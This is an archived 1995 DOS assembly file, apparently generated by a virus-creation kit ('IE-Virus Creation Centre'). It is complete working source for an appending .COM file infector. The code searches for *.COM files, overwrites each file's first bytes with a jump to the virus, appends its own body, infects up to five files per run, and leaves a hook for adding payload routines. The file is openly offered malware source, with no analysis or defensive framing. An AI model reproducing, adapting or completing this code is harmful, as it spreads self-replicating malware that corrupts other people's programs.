home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / IVCCUPD4.ZIP / IVCC009B.ZIP / SAMPLES / SAMPLE1.ASM next >
Encoding:
Assembly Source File  |  1995-06-01  |  6.2 KB  |  148 lines
  1. ; Virus-Name:                      'VCC Sample Virus #1'
  2. ; Virus-ID:                        '[TV]'
  3. ; Author:                          'Hacking Hell'
  4. ; Author ID:                       '[HH]'
  5. ; Creator:                         '[IE-VCC v0.09ß]'
  6. ; Creator ID:                      '[IE]'
  7.           
  8. .Model Tiny                        ; Every seen a .Model Huge in a virus?!?
  9. .Radix 16                          ; Standard Hexadecimal
  10. .Code                              ; Code segment
  11.           
  12. Dummy:                             ; This is the fake host (dummy)
  13.           db      0E9,03,00        ; JuMP to S_O_V (Start Of Virus)
  14.           db      'C'              ; Already infected marker
  15.           Int     20               ; Exit from fake host
  16.           
  17. S_O_V:                             ; Start Of Virus
  18.           
  19.           Call     GetDeltaOfs     ; Get the delta offset
  20. GetDeltaOfs:
  21.           Pop      BP              ; BP is equal to IP
  22.           Sub      BP,Offset GetDeltaOfs  ; Now BP is really initiated!
  23.           
  24. CodeSt:                            ; This is where the virus really starts
  25.           Lea     SI,[Offset Original_Bytes+BP]  ; Source pointer for orig. bytes
  26.           Mov     DI,0100          ; Destination pointer
  27.           Movsw
  28.           Movsw
  29.           
  30.           Push    CS               ; CS <==> DS
  31.           Pop     DS
  32.           
  33.           Lea     DX,[E_O_V+BP]    ; Set DTA address to End Of Virus
  34.           Mov     AH,1A
  35.           Int     21
  36. Spread:                            ; Here is the file-search routine
  37.           Mov     Byte Ptr[Infections+BP],0  ; Reset infection counter
  38. Spraed:                            ; This label is used by Traverse
  39.           Mov     AH,4E            ; Find first matching file
  40.           Lea     DX, [Offset FileSpec+BP]
  41.           
  42. FindNext:                          ; Here will be the INT 21 call
  43.           Cmp     Byte Ptr [Infections+BP],5  ; Check if all infections are done
  44.           Je      Reset_DTA        ; Yes? Reset the DTA and call activation routines
  45.           
  46.           Int     21
  47.           Jc      Reset_DTA        ; No more files, reset DTA and exit
  48.           Call    InfectFile       ; Call to the infection routine
  49.           
  50. NextFile:                          ; Set AH to findnext
  51.           Mov     AH,4F
  52.           Jmp     FindNext
  53.           
  54. Reset_DTA:                         ; Reset the Disk Transfer Address
  55.           Mov     AH,1A            ; Set DTA Address
  56.           Mov     DX,80            ; to 80Hex
  57.           Int     21
  58.           
  59.           Call    Activations      ; Call the activation Routine(s)
  60.           
  61.           Mov     DI,0100          ; Give control to original program
  62.           Push    DI               ; Simulate a call
  63.           Ret
  64.           
  65. Activations:                       ; Place your activation Routines here!
  66.           
  67.           Ret
  68. VirusName:                         ; Name Of the virus
  69.           DB      'VCC Sample Virus #1',0
  70. AuthorName:                        ; Name Of the author
  71.           DB      'Hacking Hell',0
  72. Creator:                           ; Name of the creator
  73.           DB      'I-EAS Virus Creation Centre 0.09ß'
  74. VirusID:                           ; ID of the virus
  75.           DB      '[TV]',0
  76. AuthorID:                          ; ID of the author
  77.           DB      '[HH]',0
  78. CreatorID:                         ; ID of the creator
  79.           DB      '[IE-VCC v0.09ß]',0
  80.           
  81. Original_Bytes:                    ; Original bytes will be stored here
  82.           DB      90,90,90,90      ; Fake host: 4 NOPs
  83. Jump_Table:                        ; This is the jump table that will be put
  84.           DB      0E9,03,00,'C'    ;  in the beginning of the victim
  85. Infections:                        ; Infection counter
  86.           DB      0
  87. FileSpec:                          ; Filefind Spec
  88.           DB      '*.COM',0        ; Filefind Spec
  89.           
  90. InfectFile:                        ; The Infection Routine:
  91.           Lea     DX,[E_O_V+1E+BP]  ; Open the victim
  92.           Mov     AX,3D02
  93.           Int     21
  94.           Jnc     InfectIt         ; If file opened OK infect it!
  95.           Ret
  96.           
  97. InfectIt:                          ; The real infection Routine
  98.           Xchg    BX,AX            ; Copy handle in BX
  99.           
  100.           Mov     CX,0004          ;Read first 4 bytes for check
  101.           Mov     AH,3F            ; if already infected!
  102.           Lea     DX,[Original_Bytes+BP]
  103.           Int     21
  104.           
  105.           Cmp    Byte Ptr [Original_Bytes+3+BP],'C'  ; Already Infected
  106.           Jz     Shut_File         ; Close & Next file
  107.           
  108.           Mov     AX,4202          ; Goto E_O_F
  109.           Sub     CX,CX            ; 2 byte version of Mov CX,0!!
  110.           Cwd                      ; 1 Byte version of Mov DX,0!!
  111.           Int     21
  112.           
  113.           Sub     AX,0003h         ; Initialize Jump Table
  114.           Mov     Word Ptr [Jump_Table+1+BP],AX
  115.           
  116.           Mov     AX,4200          ; Goto S_O_F
  117.           Sub     CX,CX
  118.           Cwd
  119.           Int     21
  120.           
  121.           Mov     AX,4000          ; Write jump table over the original
  122.           Mov     CX,0004          ;  four bytes
  123.           Lea     DX,[Jump_Table+BP]
  124.           Int     21
  125.           Inc     Byte Ptr [Infections+BP]  ; Increase infection count
  126.           
  127.           Mov     AX,4202          ; Goto E_O_F
  128.           Sub     CX,CX            ; 2 byte version of Mov CX,0!!
  129.           Cwd                      ; 1 Byte version of Mov DX,0!!
  130.           Int     21
  131.           
  132.           Mov     AH,40            ; Implend virus code in the victim
  133.           Mov     CX,(E_O_V - S_O_V)  ; Calculate Size
  134.           Lea     DX,[S_O_V+BP]    ; Starting location
  135.           Int     21
  136.           
  137. Shut_File:                         ; Close the victim file
  138.           Mov     AH,3E
  139.           Int     21
  140.           Ret                      ; End of infection routine
  141.           
  142. E_O_V:                             ; End Of Virus label
  143.           End     Dummy            ; Set starting IP to the fake host
  144.           
  145. This virus has been produced by IE-Virus Creation Centre v0.09ß
  146. Some specific information about this creation: 
  147.  + It an appending .COM file infector
  148.